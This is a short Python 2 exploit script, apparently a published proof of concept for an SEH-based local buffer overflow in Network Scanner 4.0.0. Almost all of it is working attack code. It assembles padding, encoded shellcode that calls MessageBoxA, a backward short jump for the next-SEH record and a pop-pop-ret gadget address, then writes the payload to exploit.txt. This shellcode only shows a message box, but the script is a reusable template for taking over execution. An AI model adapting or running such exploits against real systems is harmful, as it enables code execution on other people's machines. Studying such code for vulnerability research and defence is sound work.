Network Scanner 4.0.0 - SEH Local Buffer Overflow

                                                import struct

# MessageBoxA in NetScan.exe => 004042F1
mbox =	(
		"\x25\x41\x41\x41"
		"\x41\x25\x32\x32"
		"\x32\x32\x50\x68"
		"\x70\x77\x6E\x64"
		"\x54\x5F\x50\x57"
		"\x57\x50\x35\x8E"
		"\x60\x60\x55\x35"
		"\x7F\x22\x20\x55"
		"\x50\xC3"
		)
# JUMP BACK to our shellcode! 
nseh =	(
        # xor al,51h; 	Sets the ZF = 0 (We have to be very unlucky for eax to end in 51h)
        "\x34\x51"
        # jne -32h; 	Jump if ZF = 0
        "\x75\xCC"
        )
# pop pop ret => 00402E67
sehh = struct.pack("<L", 0x00402e67)

payl = "A" * (76-48)
payl+= mbox
payl+= "A"*(48-len(mbox))
payl+= nseh + sehh

with open("exploit.txt","wb") as f:
	f.write(payl[:-1])
print payl